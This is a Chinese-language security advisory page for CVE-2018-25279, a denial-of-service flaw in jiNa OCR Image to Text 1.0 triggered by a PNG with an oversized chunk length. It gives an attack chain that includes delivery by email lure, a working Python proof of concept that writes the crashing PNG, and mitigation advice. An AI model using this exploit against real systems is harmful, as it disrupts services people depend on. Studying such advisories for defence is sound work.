IPBUF安全漏洞报告
English
CVE-2018-25279 CVSS 6.2 中危

CVE-2018-25279 jiNa OCR拒绝服务漏洞

披露日期: 2026-04-26

漏洞信息

漏洞编号
CVE-2018-25279
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jiNa OCR Image to Text

相关标签

拒绝服务DoS缓冲区溢出jiNa OCR本地攻击

漏洞概述

jiNa OCR Image to Text 1.0版本中存在严重的拒绝服务漏洞(CVE-2018-25279)。该漏洞源于软件在解析PNG图像文件格式时,未能对文件头中的缓冲区大小字段进行有效的边界检查。本地攻击者可以制作一个包含超大缓冲区大小的特制PNG文件,当受影响的应用程序尝试将该恶意文件转换为PDF文档时,会触发内存处理错误从而导致应用程序崩溃。由于该漏洞利用无需用户交互且无需特殊权限,攻击者可以轻易地中断目标系统的OCR服务,严重影响业务连续性。

技术细节

此漏洞的核心机制在于输入验证不足导致的内存破坏。在jiNa OCR Image to Text处理PNG转换PDF的过程中,程序会读取PNG文件的元数据块以确定所需的缓冲区大小。攻击者可以将这一长度字段修改为一个极大的数值(如接近内存限制的值)。当应用程序盲目信任该数值并尝试分配相应大小的内存或进行数据复制时,会导致内存分配失败或非法的内存访问。根据CVSS 3.1向量分析,攻击向量为本地(AV:L),意味着攻击者需要能够将文件传递到目标系统上执行。但由于无需权限(PR:N)和用户交互(UI:N),一旦文件进入处理环境,漏洞即可被自动触发。这种类型的漏洞通常被称为“基于堆的缓冲区溢出”或“整数溢出”,其后果主要是导致服务不可用(Availability Impact: High),而不会造成数据泄露或篡改。

攻击链分析

STEP 1
侦察
确认目标系统正在使用jiNa OCR Image to Text 1.0版本。
STEP 2
武器化
攻击者构造包含超大长度字段的特制PNG文件,该字段旨在触发缓冲区分配错误。
STEP 3
交付
将恶意PNG文件放置在目标系统可访问的本地路径,或通过邮件等方式诱导用户下载。
STEP 4
利用
目标用户或服务使用jiNa OCR打开该恶意文件并执行“转换为PDF”的操作。
STEP 5
影响
应用程序在处理畸形的缓冲区长度时发生崩溃,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # PoC script to generate a malformed PNG file triggering DoS in jiNa OCR 1.0 # This creates a PNG with a massive chunk length to cause a crash during PDF conversion. def create_malformed_png(filename): # Standard PNG Signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (Width: 1, Height: 1, Bit depth: 8, etc.) width = 1 height = 1 ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) ihdr_crc = 0x58C41F5D # Pre-calculated CRC for this specific IHDR ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # Malicious Chunk: Set length to a very large value (e.g., 0xFFFFFFFF) # The application will try to allocate this size, leading to a crash. bad_length = 0xFFFFFFFF chunk_type = b'IDAT' # Minimal data + dummy CRC malformed_chunk = struct.pack('>I', bad_length) + chunk_type + b'\x00' + struct.pack('>I', 0xDEADBEEF) with open(filename, 'wb') as f: f.write(png_sig) f.write(ihdr_chunk) f.write(malformed_chunk) print(f"[+] Malformed PNG file generated: {filename}") print("[+] Load this file in jiNa OCR 1.0 and convert to PDF to trigger the crash.") if __name__ == "__main__": create_malformed_png('cve_2018_25279_poc.png')

影响范围

jiNa OCR Image to Text 1.0

防御指南

临时缓解措施
建议用户停止使用受影响的jiNa OCR Image to Text 1.0版本,直到厂商发布修复补丁。在无法升级的情况下,应限制对该软件的本地访问权限,并仅处理来自可信来源的图像文件。此外,可以将应用程序运行在隔离的虚拟机或容器中,以防止应用崩溃影响宿主机系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表